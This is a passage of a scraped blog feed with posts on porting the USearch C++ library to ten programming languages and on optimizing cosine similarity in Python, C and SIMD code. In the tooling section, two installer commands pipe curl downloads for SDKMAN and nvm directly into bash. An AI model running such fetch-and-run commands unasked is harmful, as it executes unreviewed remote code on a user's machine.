made available globally for free, thanks to a partnership with \u003ca href=\"https://registry.opendata.aws/usearch-molecules/\"\u003eAWS Open Data\u003c/a\u003e.\nYou can find the complete data sheet and scripts for data visualization on \u003ca href=\"https://github.com/ashvardanian/usearch-molecules\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e","title":"USearch Molecules: 28 Billion Chemical Embeddings on AWS ⚗️"},{"content":" Experienced devs may want to skip the intro or jump immediately to the conclusions.\nThe backbone of many foundational software systems — from compilers and interpreters to math libraries, operating systems, and database management systems — is often implemented in C and C++. These systems frequently offer Software Development Kits (SDKs) for high-level languages like Python, JavaScript, Go, C#, Java, and Rust, enabling broader accessibility.\nBut there is a catch. Most of those SDKs are just wrappers calling your standalone application through the networking stack. That is, however, extremely slow. A good networking stack can handle over 100,000 calls per second, while most are below 10,000.\nCertain applications demand that C and C++ libraries be invoked millions of times per second. To achieve this high level of performance, the native, pre-compiled library logic must be directly integrated — or embedded — into the target application, regardless of its native language. This integration allows the application and the library to operate within the same OS process and memory address space, bypassing the need for inter-process communication via sockets. This is the realm of language bindings.\nThis year I\u0026rsquo;ve open-sourced several data-processing and AI libraries. One of them, USearch, has bindings to 10 programming languages, which is rare and serves as the perfect place to explore some differences between the most common programming languages and, more importantly, their ecosystems.\nMoreover, the library implements a data structure that supports concurrent updates and half-precision math, which we will cover in subsequent sections. We will spend a bit more time on Python, the most popular programming language in the world, and highlights some of the issues repeated in other languages.\nThe project is hosted on GitHub, so to form an enclosed environment, all of the Continuous Integration (CI), including testing and packaging, is happening on GitHub Runners. Core library implementation is in C++11 for compatibility with older C++ toolchains. The bindings are implemented in C++17 for brevity and clarity, as they are pre-compiled in our controlled environment. I prefer the GNU C Compiler (GCC) 12 over default GCC-11 on Ubuntu 22.04, as it doesn\u0026rsquo;t support some of the Assembly intrinsics I employ in SimSIMD for modern Intel CPUs. I mostly use Sphinx and Doxygen for documentation, and host the result on GitHub Pages. Here is what it looks like.\nBindings Python Notable Files unum-cloud/usearch/setup.py unum-cloud/usearch/pyproject.toml unum-cloud/usearch/python/lib.cpp unum-cloud/usearch/python/usearch/index.py unum-cloud/usearch/python/scripts/test_index.py Implementation Python is great for working with C/C++ libraries. It has a lot of tools that make life easier:\nToolchains: SWIG is popular and not just for Python. Libraries: You should check out Boost.Python, PyBind11, and NanoBind, made by the same person. JIT Compilers: Not so famous but still important are Cppyy and User-Defined Kernels in CuPy. They\u0026rsquo;re good for Python coders who want to get into C/C++ slowly or for data scientists who want to make their own CUDA kernels for PyTorch. I usually start with PyBind11, as it takes just one more .cpp file to wrap a library for Python. But when I need something super fast, like a new kind of string class or a math library for vectors, I go straight to the Python C API. It\u0026rsquo;s well explained and once helped me make a project 5 times faster in handling function calls. PyBind11 is easy to use but sometimes does things you don\u0026rsquo;t expect, like changing Python\u0026rsquo;s str to std::string without telling you. You have more control with the Python C API, but sometimes, it\u0026rsquo;s still not enough, especially for dealing with Unicode strings without copying them.\nI like to use two layers of code when I\u0026rsquo;m combining Python and C/C++:\nA Python layer that\u0026rsquo;s easy to read and use, And a simple C/C++ layer that does the heavy lifting. This way, your code is easier to work with in any IDE. It\u0026rsquo;s also less messy because you can handle all the checks in Python. So, in my Python Index class, I create a _CompiledIndex right in the constructor:\n1 2 3 4 5 6 class Index: \u0026#34;\u0026#34;\u0026#34;Quick search tool for dense vectors.\u0026#34;\u0026#34;\u0026#34; def __init__(self, *, **kwargs) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Sets up the index and gets it ready to use.\u0026#34;\u0026#34;\u0026#34; self._compiled = _CompiledIndex(**kwargs) Keep in mind:\nPython uses 64-bit for float, but most people have the NumPy library installed, which can handle 16-bit and 32-bit. CPython operates in a single-threaded environment and is subject to the Global Interpreter Lock, so you should design your interfaces with batch calls in mind, spawning native threads under the hood. For other Python runtimes like PyPy, Jython, or IronPython, you\u0026rsquo;ll need different bindings. Packaging For simple builds and purely Python packages, a setup.py file is all you need. But if you want your native package to work on different Operating Systems and Python versions, you\u0026rsquo;d use something like cibuildwheel and make a pyproject.toml file. Remember, this part can take a long time in GitHub CI:\nWindows takes 6.5 minutes for the bindings and 1.5 minutes for the C library. macOS takes 19 minutes for the bindings and 1 minute for the C library. Linux takes the longest, 43 minutes for the bindings and 1 minute for the C library. Uploading to PyPI is easy to automate. Anaconda is a bit harder and might not be worth it, especially since Conda can use PyPI too. As part of the CI, I run tests both for the core implementation and the bindings. In Python, I use the pytest utility, which automatically discovers the relevant files and, coupled with pytest-repeat, helps me run fuzzy tests on such probabilistic data structures.\n1 pip install -e . \u0026amp;\u0026amp; pytest python/scripts/ -s -x JavaScript Notable Files unum-cloud/usearch/package.json unum-cloud/usearch/bindings.gyp unum-cloud/usearch/javascript/lib.cpp unum-cloud/usearch/javascript/usearch.js unum-cloud/usearch/javascript/usearch.test.js Implementation Node.js makes it pretty straightforward to link with C++ and C code. The process is similar to Python; you usually only need one .cpp file for the whole thing. Then, you\u0026rsquo;ll write a .js file, which can be as simple as:\n1 module.exports = require(\u0026#39;bindings\u0026#39;)(\u0026#39;usearch\u0026#39;); For USearch, I built it out more, creating a two-tiered binding. The JavaScript and Python environments share a lot of similarities:\nJavaScript doesn\u0026rsquo;t have half-precision float support, offering just Float32Array and Float64Array. Node.js, like CPython, is single-threaded, so all functions in the API are designed to support batch requests. Different JavaScript environments, such as Bun or Deno, might need their own bindings — I\u0026rsquo;m guessing a bit here. I tried TypeScript for the API, but matching it with Sphinx documentation proved too tricky.\nPackaging To set up your project, you\u0026rsquo;ll want to use a JSON-like language to make a bindings.gyp file. This method, along with the node-gyp tool, which handles these files, actually comes from the Chromium project. The syntax is a bit odd to me, and is inconsistent if you want to forward environment variables into compilation settings:\n[ \u0026#39;OS==\u0026#34;linux\u0026#34;\u0026#39;, { \u0026#34;cflags_cc\u0026#34;: [ \u0026#39;\u0026lt;!(if [ \u0026#34;$USEARCH_USE_OPENMP\u0026#34; = \u0026#34;1\u0026#34; ]; then echo \\\u0026#39;-fopenmp\\\u0026#39;; fi)\u0026#39;, ], \u0026#34;ldflags\u0026#34;: [ \u0026#39;\u0026lt;!(if [ \u0026#34;$USEARCH_USE_OPENMP\u0026#34; = \u0026#34;1\u0026#34; ]; then echo \\\u0026#39;-lgomp\\\u0026#39;; fi)\u0026#39; ], \u0026#34;defines\u0026#34;: [ \u0026#34;USEARCH_USE_OPENMP=\u0026lt;!(echo ${USEARCH_USE_OPENMP:-0})\u0026#34;, \u0026#34;USEARCH_USE_SIMSIMD=\u0026lt;!(echo ${USEARCH_USE_SIMSIMD:-1})\u0026#34;, \u0026#34;USEARCH_USE_FP16LIB=\u0026lt;!(echo ${USEARCH_USE_FP16LIB:-1})\u0026#34;, \u0026#34;SIMSIMD_TARGET_X86_AVX512=\u0026lt;!(echo ${SIMSIMD_TARGET_X86_AVX512:-1})\u0026#34;, \u0026#34;SIMSIMD_TARGET_ARM_SVE=\u0026lt;!(echo ${SIMSIMD_TARGET_ARM_SVE:-1})\u0026#34;, \u0026#34;SIMSIMD_TARGET_X86_AVX2=\u0026lt;!(echo ${SIMSIMD_TARGET_X86_AVX2:-1})\u0026#34;, \u0026#34;SIMSIMD_TARGET_ARM_NEON=\u0026lt;!(echo ${SIMSIMD_TARGET_ARM_NEON:-1})\u0026#34;, ], }, ] That comes handy, when users want to deploy your libraries in less common environments like the stateless AWS Lambda functions. For Windows and Linux the syntax is different. Uploading to the Node Package Manager (NPM) was straightforward.\nRust Notable Files unum-cloud/usearch/Cargo.toml unum-cloud/usearch/build.rs unum-cloud/usearch/rust/lib.rs unum-cloud/usearch/rust/lib.hpp unum-cloud/usearch/rust/lib.cpp Implementation I\u0026rsquo;ve used FFI to bind a C++ library, initially keeping all the implementations on the C++ side. Here is how lib.rs file starts:\n1 2 3 4 5 6 7 #[cxx::bridge] pub mod ffi { struct Matches { keys: Vec\u0026lt;u64\u0026gt;, distances: Vec\u0026lt;f32\u0026gt;, } } Later I switched to a 2-level approach using traits, as I wanted to overload the same add \u0026amp; search functions to support i8, f32, f64 types without paying the runtime costs. Together with a minimalistic test, the Rust part of the binding grew to over 600 lines, with another 200 lines of C++ code under the hood.\nRust doesn\u0026rsquo;t support half-precision floats. Rust supports parallelism, so we haven\u0026rsquo;t had to implement batch requests. Packaging As for testing, package uploads, and overall developer experience, Rust is great. For documentation, it has a separate portal - docs.rs.\nObjC and Swift Notable Files unum-cloud/usearch/Package.swift unum-cloud/usearch/swift/USearch.swift unum-cloud/usearch/swift/Index+Sugar.swift unum-cloud/usearch/swift/Test.swift unum-cloud/usearch/objc/include/USearchObjective.h unum-cloud/usearch/objc/USearchObjective.mm Implementation Swift is just starting to support experimental C++ interoperability. Until today, you had to bridge them with ObjC. With extensive previous experience in ObjC, the process was simple. ObjC doesn\u0026rsquo;t support overloading the same function name with different argument types, while Swift does. Same for half-precision math. So my Objective-C header defines:\n1 2 3 4 5 6 - (void)addSingle:(USearchKey)key vector:(Float32 const *_Nonnull)vector NS_SWIFT_NAME(addSingle(key:vector:)); - (void)addDouble:(USearchKey)key vector:(Float64 const *_Nonnull)vector NS_SWIFT_NAME(addDouble(key:vector:)); - (void)addHalf:(USearchKey)key vector:(void const *_Nonnull)vector NS_SWIFT_NAME(addHalf(key:vector:)); Using NS_SWIFT_NAME macro I define the symbol names for the Swift runtime, and later wrap them again to simplify the names. Note the syntax Swift provides to limit half-precision only on recent versions:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public func add(key: USearchKey, vector: ArraySlice\u0026lt;Float32\u0026gt;) { vector.withContiguousStorageIfAvailable { addSingle(key: key, vector: $0.baseAddress!) } } public func add(key: Key, vector: ArraySlice\u0026lt;Float64\u0026gt;) { vector.withContiguousStorageIfAvailable { addDouble(key: key, vector: $0.baseAddress!) } } #if arch(arm64) @available(macOS 11.0, iOS 14.0, watchOS 7.0, tvOS 14.0, *) public func add(key: Key, vector: ArraySlice\u0026lt;Float16\u0026gt;) { vector.withContiguousStorageIfAvailable { buffer in addHalf(key: key, vector: buffer.baseAddress!) } } #endif Packaging Swift has no separate package manager and most dependencies are pulled directly from GitHub. There is, however, a Swift Package Index, that helps developers discover your package.\nGo Notable Files unum-cloud/usearch/golang/go.mod unum-cloud/usearch/golang/lib.go unum-cloud/usearch/golang/lib_test.go Implementation For Go, the go-to method is using cGo, which lets you include native code right in your Go programs. You place build instructions within comments next to the import \u0026quot;C\u0026quot; statement. My first try at lib.go seemed straightforward:\n1 2 3 4 5 6 7 8 9 10 11 12 13 package usearch import ( \u0026#34;errors\u0026#34; \u0026#34;unsafe\u0026#34; ) /* #cgo LDFLAGS: -L. -L/usr/local/lib -lusearch_c #include \u0026#34;usearch.h\u0026#34; #include \u0026lt;stdlib.h\u0026gt; */ import \u0026#34;C\u0026#34; However, the experience is a bit unusual. Go struggles with direct C++ use, which is why I\u0026rsquo;m using a .h C binding instead of the original .hpp C++ header. Also, I link to a pre-compiled C library, which is outside of Go\u0026rsquo;s build system. Users need to manually install usearch_c.so from our CI release assets before they can use it in their app like this:\n1 2 3 4 5 6 7 8 9 10 package main import ( \u0026#34;fmt\u0026#34; usearch \u0026#34;github.com/unum-cloud/usearch/golang\u0026#34; ) func main() { ... } What\u0026rsquo;s more, the delay introduced by cGo can be quite high. For very quick operations like those in SimSIMD or StringZilla, the overhead of switching from Go\u0026rsquo;s concurrency to C\u0026rsquo;s function stack-frame might be way too much.\nLike most languages, Go supports float32 and float64 types, but doesn\u0026rsquo;t have float16. Since Go handles parallel tasks well, I didn\u0026rsquo;t need to build batch processing capabilities. Packaging Go doesn\u0026rsquo;t use a separate package manager; it pulls most dependencies directly from repositories like GitHub. Once you create a go.mod file, your package should get picked up and indexed on pkg.go.dev. There, automatically generated docs are also available.\nJava Notable Files unum-cloud/usearch/build.gradle unum-cloud/usearch/java/cloud/unum/usearch/Index.java unum-cloud/usearch/java/cloud/unum/usearch/cloud_unum_usearch_Index.h unum-cloud/usearch/java/cloud/unum/usearch/cloud_unum_usearch_Index.cpp unum-cloud/usearch/test/IndexTest.java Implementation We connect to the C++ library using Java Native Interface (JNI). We use Bazel for building the shared library. This method is widely accepted. Your Java library will include a step to load the native shared library:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Index { /** Keeps a reference to the C++ Index class */ private long c_ptr = 0; static { System.loadLibrary(\u0026#34;usearch\u0026#34;); } public static void main(String[] args) { Index index = new Index(); System.out.println(\u0026#34;Made a test index!\u0026#34;); } } Sharing Java packages can be really confusing. You may need to learn Groovy to write a proper build.gradle for Bazel. But users will usually add your library as a dependency with an XML snippet, like so:\n1 2 3 4 5 \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;cloud.unum\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;usearch\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.8.6\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; There are many places to register your package, and the main ones have several steps. To get on Sonatype, you must request access on a forum, wait for approval, and then use the Nexus Maven Central portal. Every new push lands in a \u0026ldquo;staging\u0026rdquo; area. To move forward, you must \u0026ldquo;close\u0026rdquo; it first and then \u0026ldquo;release\u0026rdquo; after checks are done. The whole process is far from intuitive.\nC 99 Notable Files unum-cloud/usearch/c/usearch.h unum-cloud/usearch/c/lib.cpp unum-cloud/usearch/c/test.c unum-cloud/usearch/CMakeLists.txt unum-cloud/usearch/c/CMakeLists.txt Implementation For small projects, C is perfect. It gets even better if you can limit yourself to only using the GNU C Compiler with all the extensions, including:\nNested functions, similar to C++ lambdas. Zero-length arrays. Binary constants using the 0b prefix. Zero-sized empty structures and unnamed fields. Built-in safe math and atomics. 128-bit integers and 16-bit floats. Some are also available on Clang, but I can\u0026rsquo;t use them in most of my libraries. As time passes, C is adopting some nifty features from C++, like the auto keyword coming in C 23.\nPackaging This would have been funny if it wasn\u0026rsquo;t so sad, but C and C++ still don\u0026rsquo;t have good tooling, despite being some of the oldest languages on the list.\nI\u0026rsquo;ve seen/tried Bazel, Conan, Vcpkg, Premake, Buck2, and several other options. They all have their pros and cons, but none of them are as easy to use as Python\u0026rsquo;s setup.py. CMake is one of the most popular, but it\u0026rsquo;s a nightmare. The nightmare millions of developers experience every night.\nThat being said, C and C++ are still the only languages that get my work done. As you can imagine, many suggest Rust as a replacement, but I\u0026rsquo;m not convinced. Most of my code would be in unsafe sections, and I\u0026rsquo;d have to write boilerplate code to achieve the same performance. Python + C/C++/Assembly is still the best combination for me.\nOverall Impressions Let\u0026rsquo;s keep C# and Wolfram for another comparison and highlight some common patterns.\nGitHub Big ones:\nGitHub Actions are a nightmare to debug. Patching those YML configs is tricky, especially if you want to keep a clean Git history and don\u0026rsquo;t have an army of DevOps Pros to help. Search and discoverability of multi-package projects is poor. If people search for \u0026ldquo;tensorflow language:Python\u0026rdquo;, they\u0026rsquo;ll not find the repo, as it\u0026rsquo;s mostly implemented in C++, despite having over 179,000 stars and close to 3,500 contributors. Don\u0026rsquo;t ask me how that\u0026rsquo;s possible. Still, would be great to index and highlight the packages across different languages, if those are backed by the same monorepo. TensorFlow PyTorch USearch Nice to haves:\nGitHub provides a Maven registry for Java packages. It\u0026rsquo;s very easy to upload to, but none of the Java developers I\u0026rsquo;ve met know how to use it. Low-level libraries are often included as Git submodules, as the package managers are poorly developed. Would be great to index those for the dependency graph. The latter may have a surprisingly large affect at the industry. I believe we, as a developer community, have introduced too many layer of abstractions without recognizing the costs every new level brings. Highlighting the usage of a low-level C library, same way as Python and NPM packages are highlighted, may encourage more people to contribute to the core library, peeling off a few layers of abstractions in the long run.\nMulti-Architecture Builds Multi-Architecture Builds are complicated. Shipping both x86 and Arm binaries as part of one package is largely unaddressed by most ecosystems. Apple has an advantage over Microsoft here. Shocking. One of those architectures is WebAssembly. Specialized package managers for Wasm are popping up, but it would have been much easier if NPM and PyPI could handle WASM natively. Another big problem with WASM, its still a 32-bit architecture, which severely limits its usability. If you want to ship packages with bindings for different generations of the CPUs, I don\u0026rsquo;t know a good solution for that either. The last issue is partially solved in GCC with \u0026ldquo;Function Multiversioning\u0026rdquo;. It\u0026rsquo;s not portable between compiler, but looks like this, if you are not familiar:\n1 2 3 4 __attribute__ ((target (\u0026#34;default\u0026#34;))) int foo () { return 0; } __attribute__ ((target (\u0026#34;sse4.2\u0026#34;))) int foo () { return 1; } __attribute__ ((target (\u0026#34;arch=atom\u0026#34;))) int foo () { return 2; } __attribute__ ((target (\u0026#34;arch=amdfam10\u0026#34;))) int foo () { return 3; } Not unrelated is the issue of standardizing the numeric types available across different systems.\nBoth C and C++ as well as many other languages don\u0026rsquo;t have sized numeric types (like i64 in Rust) as part of the language. Those often come in libraries. So if you want to avoid any dependencies including LibC and STL, you\u0026rsquo;d have to define those yourself. Half-precision math, so important in modern AI workloads, is largely unsupported on most platforms and in most languages. Similarly, most databases use 128-bit integers for their IDs, most recent hardware supports them, but languages rarely do. Too Many DSLs and Custom Tools The plethora of custom DSLs for builds and packages is overwhelming. You have to learn Make/CMake languages to compile a C/C++ project. Similarly you learn Groovy to write Bazel files to compile a Java wrapper for a C/C++ native library.\nOften, a custom dependency manager is necessary just to begin, as system packages can be outdated. For up-to-date Java, there\u0026rsquo;s SDKMAN!:\n1 curl -s \u0026#34;https://get.sdkman.io\u0026#34; | bash For the latest NodeJS, you might use Node Version Manager:\n1 curl -o- \u0026#34;https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh\u0026#34; | bash Conclusion Getting our software to communicate across many programming languages turned out to be quite a challenge. Simple connections are straightforward enough, but aiming for low latency and continuous testing ramps up the complexity significantly. Often, the trouble isn\u0026rsquo;t even in our code but in the myriad systems it interacts with.\nIn this landscape, ChatGPT has been invaluable. With precise inquiries, it is as a force multiplier, akin to doubling your team\u0026rsquo;s size, minus the communication overhead.\nDespite the advantages provided by ChatGPT, we\u0026rsquo;re not aiming to replicate this extensive integration with languages in other Unum projects such as UCall or UForm. Similarity Search, however, is an exception. It sits in that sweet spot: fundamental enough to be in high demand across applications, yet sophisticated enough to not be a default offering in programming languages. Moving forward, I\u0026rsquo;m focusing on:\nFuzzy Full Text Search in USearch v3. New indexing algorithm for v4. Stay connected for what\u0026rsquo;s on the horizon – github, linkedin, twitter, or by subscribing to the newsletter 🤗\nAs a bonus, here is a breakdown of a recent USearch release by different languages, as reported by the cloc utility:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 $ cloc . 148 text files. 134 unique files. 18 files ignored. github.com/AlDanial/cloc v 1.96 T=0.06 s (2200.4 files/s, 421663.7 lines/s) ------------------------------------------------------------------------------------ Language files blank comment code ------------------------------------------------------------------------------------ C/C++ Header 7 1250 1557 5885 C++ 9 543 138 2656 Python 19 603 495 2611 Markdown 17 527 0 1515 C# 6 257 94 1194 YAML 7 106 28 1119 JSON 5 0 0 474 Rust 2 78 130 420 Go 2 64 25 398 CMake 10 70 42 390 JavaScript 3 61 189 257 Objective-C++ 1 71 0 228 C 1 53 67 220 Gradle 1 26 2 155 Java 2 49 164 154 Swift 4 25 76 138 Jupyter Notebook 2 0 264 89 reStructuredText 19 57 76 85 Bourne Shell 3 18 14 69 TOML 3 11 4 67 DOS Batch 2 14 11 48 XML 2 13 1 48 MSBuild script 2 10 1 42 Dockerfile 2 10 1 41 Visual Studio Solution 1 1 1 32 CSS 1 5 0 21 make 1 4 7 9 ------------------------------------------------------------------------------------ SUM: 134 3926 3387 18365 ------------------------------------------------------------------------------------ ","permalink":"https://ashvardanian.com/posts/porting-cpp-library-to-ten-languages/","summary":"\u003cblockquote\u003e\n\u003cp\u003eExperienced devs may want to \u003ca href=\"#bindings\"\u003eskip the intro\u003c/a\u003e or jump immediately to the \u003ca href=\"#overall-impressions\"\u003econclusions\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe backbone of many foundational software systems — from compilers and interpreters to math libraries, operating systems, and database management systems — is often implemented in C and C++.\nThese systems frequently offer Software Development Kits (SDKs) for high-level languages like Python, JavaScript, Go, C#, Java, and Rust, enabling broader accessibility.\u003c/p\u003e\n\u003cp\u003eBut there is a catch.\nMost of those SDKs are just wrappers calling your \u003cstrong\u003estandalone\u003c/strong\u003e application through the networking stack.\nThat is, however, extremely slow.\nA good networking stack can handle over 100,000 calls per second, while most are below 10,000.\u003c/p\u003e","title":"Binding a C++ Library to 10 Programming Languages 🔟"},{"content":"In this fourth article of the \u0026ldquo;Less Slow\u0026rdquo; series, I\u0026rsquo;m accelerating Unum\u0026rsquo;s open-source Vector Search primitives used by some great database and cloud providers to replace Meta\u0026rsquo;s FAISS and scale-up search in their products. This time, our focus is on the most frequent operation for these tasks - computing the the Cosine Similarity/Distance between two vectors. It\u0026rsquo;s so common, even doubling it\u0026rsquo;s performance can have a noticeable impact on applications economics. But compared to a pure Python baseline our single-threaded performance grew by a factor of 2'500x. Let\u0026rsquo;s go through optimizations one by one:\nKicking off with basic Python. Noticed a 35x slowdown when not using NumPy right. Managed a 2-5x speed boost with SciPy. Jumped to a 200x speedup using C. A big leap to 400x faster with SIMD intrinsics. Touched 747x combining AVX-512 and BMI2. Climbed to 1,260x adding AVX-512FP16. The final high: 2,521x faster with AVX-512VNNI. Some highlights:\nAgain, goto doesn\u0026rsquo;t get the love it deserves in C. BMI2 instructions on x86 are consistently overlooked\u0026hellip; thanks to AMD Zen2, I guess. AVX-512FP16 is probably the most important extension in the current AI race. I\u0026rsquo;m still scratching my head on the 4VNNI extensions of AVX-512, and couldn\u0026rsquo;t find a good way to benefit from them here or even in the polynomial approximations of the Jensen Shannon divergence computations in the last post, so please let me know where I should try them 🤗\nCosine Similarity Cosine Similarity is a way to check if two \u0026ldquo;vectors\u0026rdquo; are looking in the same direction, regardless of their magnitude. It is a widespread metric used in Machine Learning and Information Retrieval, and it is defined as:\n$$ \\cos(\\theta) = \\frac{A \\cdot B}{|A| |B|} = \\frac{\\sum_{i=1}^{n} A_i B_i}{\\sqrt{\\sum_{i=1}^{n} A_i^2} \\sqrt{\\sum_{i=1}^{n} B_i^2}} $$\nWhere $A$ and $B$ are two vectors with $n$ dimensions. The cosine similarity is a value between $-1$ and $1$, where $1$ means that the two vectors are pointing in the same direction, $-1$ implies that they are pointing in opposite directions and $0$ means that they are orthogonal. Cosine Distance, in turn, is a distance function, which is defined as $1 - \\cos(\\theta)$. It is a value between $0$ and $2$, where $0$ means that the two vectors are identical, and $2$ means that they are pointing in opposite directions. I may use the terms interchangeably, but they are not exactly the same.\nPython The first implementation is the most naive one, written in pure Python\u0026hellip; by ChatGPT. It is a direct translation of the mathematical formula and is very easy to read and understand.\n1 2 3 4 5 6 def cosine_distance(a, b): dot_product = sum(ai * bi for ai, bi in zip(a, b)) magnitude_a = math.sqrt(sum(ai * ai for ai in a)) magnitude_b = math.sqrt(sum(bi * bi for bi in b)) cosine_similarity = dot_product / (magnitude_a * magnitude_b) return 1 - cosine_similarity I\u0026rsquo;ll run on 4th Gen Intel Xeon CPUs, codenamed Sapphire Rapids, and available on AWS as the r7iz instances. Before running a benchmark, let\u0026rsquo;s generate random numbers and put them into a list, simulating the 1536-dimensional \u0026ldquo;embeddings\u0026rdquo; from the OpenAI Ada service.\n1 2 3 np.random.seed(0) a_list = np.random.rand(1536).tolist() b_list = np.random.rand(1536).tolist() Running the benchmark with the %timeit utility, we get 93.2 µs ± 1.75 µs per loop.. Or roughly 100 microseconds per call. Is that good or bad?\nOur solution is Pythonic but inefficient, as it traverses each list twice. So let\u0026rsquo;s use the common Pythonic zip idiom:\n1 2 3 4 5 6 7 8 9 10 def cosine_distance(a, b): dot_product = 0 magnitude_a = 0 magnitude_b = 0 for ai, bi in zip(a, b): dot_product += ai * bi magnitude_a += ai * ai magnitude_b += bi * bi cosine_similarity = dot_product / (magnitude_a * magnitude_b) return 1 - cosine_similarity Running the benchmark, we get 65.3 µs ± 716 ns per loop., resulting 30% savings! I believe it\u0026rsquo;s a fair baseline.\nAs pointed on HackerNews, I forgot to apply the square root for magnitude_a and magnitude_b.\nNumPy: Between Python and C NumPy is a powerful tool in Python\u0026rsquo;s toolbox, helping folks work fast with arrays. Many people see it as the go-to for doing science stuff in Python. A lot of machine learning tools lean on it. Since it\u0026rsquo;s built with C, you\u0026rsquo;d think it\u0026rsquo;d be speedy. Let\u0026rsquo;s take our basic Python lists and make them sharper with NumPy. We\u0026rsquo;re looking at single-precision, half-precision numbers, and 8-bit integers.\n1 2 3 floats = np.random.rand(1536).astype(np.float32) halfs = np.random.rand(1536).astype(np.float16) ints = (np.random.rand(1536) * 100).astype(np.int8) These are popular choices for quantization (making data smaller) in tools like Meta\u0026rsquo;s FAISS and Unum\u0026rsquo;s USearch. Half-precision is pretty handy, working well most of the time. But using integers? That depends on the AI model you\u0026rsquo;re using. Thanks to Quantization Aware Training, two of my faves — Microsoft\u0026rsquo;s E5 for just text and Unum\u0026rsquo;s UForm for multi-modal data — work well even compressed to 8-bit numbers.\nAfter getting our vectors set up, I used our cosine_distance function to see how similar the three arrays are:\nfloats: 349 µs ± 5.71 µs per loop. halfs: 525 µs ± 9.69 µs per loop. ints: 2.31 ms ± 26 µs per loop. But here\u0026rsquo;s the problem. Instead of getting faster, things went 35x slower than our 65.3 µs starting point. Why?\nMemory Management: Sure, NumPy uses C arrays, which are cool. But every time we loop through them, we turn small byte stuff into bigger Python stuff. And with memory being unpredictable, it\u0026rsquo;s surprising things didn\u0026rsquo;t go even slower.\nHalf-Precision Support: Most new devices support half-precision. But the software side? Not so much. Only a few AI tools use it, and they often focus on GPU stuff, leaving out the CPU. So, converting half-precision things on the go can be slow.\nInteger Overflows: Doing math with our tiny integers isn\u0026rsquo;t smooth. We keep getting these annoying overflow warnings. The CPU spends more time checking things than actually doing the math. We often see things like: \u0026ldquo;RuntimeWarning: overflow encountered in scalar multiply\u0026rdquo;.\nHere\u0026rsquo;s a tip: If you\u0026rsquo;re using NumPy, go all in. Mixing it with regular Python can really slow you down!\nSciPy NumPy is also the foundation of the SciPy library, which provides many valuable functions for scientific computing, including the scipy.distance.spatial.cosine. It will use the native NumPy operations for as much as possible.\nfloats: 15.8 µs ± 416 ns per loop. halfs: 46.6 µs ± 291 ns per loop. ints: 12.2 µs ± 37.5 ns per loop. Now, we see the true potential of NumPy, and the underlying Basic Linear Algebra Subroutines (BLAS) libraries implemented in C, Fortran, and Assembly. Our pure Python baseline was 65.3 µs, and we now got 2-5 times faster, depending on the data type. Notably, halfs are still slow. Checking the specs of a similar CPU, we can clearly see support for f16c instructions, which means that the CPU can at least decode half-precision values without software emulation, and we shouldn\u0026rsquo;t be experiencing this much throttling.\nC C is the lowest-level hardware-agnostic programming language - hence the best way to optimize small numerical functions, like the Cosine Similarity and Distance. It is also trivial to wrap C functions into pure CPython bindings for the default Python runtime, and if you use the FastCall convention, like we do, you can make your custom code as fast as the built-in Python functions, like what I\u0026rsquo;ve described recently with StringZilla, replacing Python\u0026rsquo;s default str string class with a faster alternative. Unlike C++, however, C doesn\u0026rsquo;t support \u0026ldquo;generics\u0026rdquo; or \u0026ldquo;template functions\u0026rdquo;. So we have to separately implement the cosine_distance function for each data type we want to support, or use the ugly \u0026ldquo;macros\u0026rdquo;:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #define SIMSIMD_MAKE_COS(name, input_type, accumulator_type, converter) \\ inline static simsimd_f32_t simsimd_##name##_##input_type##_cos( \\ simsimd_##input_type##_t const* a, simsimd_##input_type##_t const* b, simsimd_size_t n) { \\ simsimd_##accumulator_type##_t ab = 0, a2 = 0, b2 = 0; \\ for (simsimd_size_t i = 0; i != n; ++i) { \\ simsimd_##accumulator_type##_t ai = converter(a[i]); \\ simsimd_##accumulator_type##_t bi = converter(b[i]); \\ ab += ai * bi; \\ a2 += ai * ai; \\ b2 += bi * bi; \\ } \\ return ab != 0 ? 1 - ab * SIMSIMD_RSQRT(a2) * SIMSIMD_RSQRT(b2) : 1; \\ } This is a real snippet from the library and depends on yet another macro - SIMSIMD_RSQRT(x), defined as the 1 / sqrtf(x) by default. We later instantiate it for all the data types we need:\n1 2 3 SIMSIMD_MAKE_COS(serial, f32, f32, SIMSIMD_IDENTIFY) // `simsimd_serial_f32_cos` SIMSIMD_MAKE_COS(serial, f16, f32, SIMSIMD_UNCOMPRESS_F16) // `simsimd_serial_f16_cos` SIMSIMD_MAKE_COS(serial, i8, i32, SIMSIMD_IDENTIFY) // `simsimd_serial_i8_cos` Those macros will generate the following functions:\nsimsimd_serial_f32_cos: for 32-bit floats. simsimd_serial_f16_cos: for 16-bit halfs, accumulating 32-bit values. simsimd_serial_i8_cos: for 8-bit ints, accumulating 32-bit values. We benchmark those using the Google Benchmark library:\nfloats: 1956 ns ~ 33x faster than Python. halfs: 1118 ns ~ 58x faster than Python. ints: 299 ns ~ 218x faster than Python. That\u0026rsquo;s a great result, but this code relies on the compiler to perform heavy lifting and produce efficient Assembly. As we know, sometimes even the most recent compilers, like GCC 12, can be 119x slower than hand-written Assembly. Even on the simplest data-parallel tasks, like computing the Jensen Shannon divergence of two discrete probability distributions.\nI’ve found a fairly simple data-parallel workload, where AVX-512FP16 #SIMD code beats O3/fast-math assembly produced by GCC 12 by a factor of 118x 🤯🤯🤯https://t.co/cFftGbMBQe\n\u0026mdash; Ash Vardanian (@ashvardanian) October 23, 2023 Assembly Assembly is the lowest-level programming language, and it is the closest to the hardware. It is also the most difficult to write and maintain, as it is not portable, and it is very easy to make mistakes. But it is also the most rewarding, as it allows us to write the most efficient code and to use the most advanced hardware features, like AVX-512. AVX-512, in turn, is not a monolith. It\u0026rsquo;s a very complex instruction set with the following 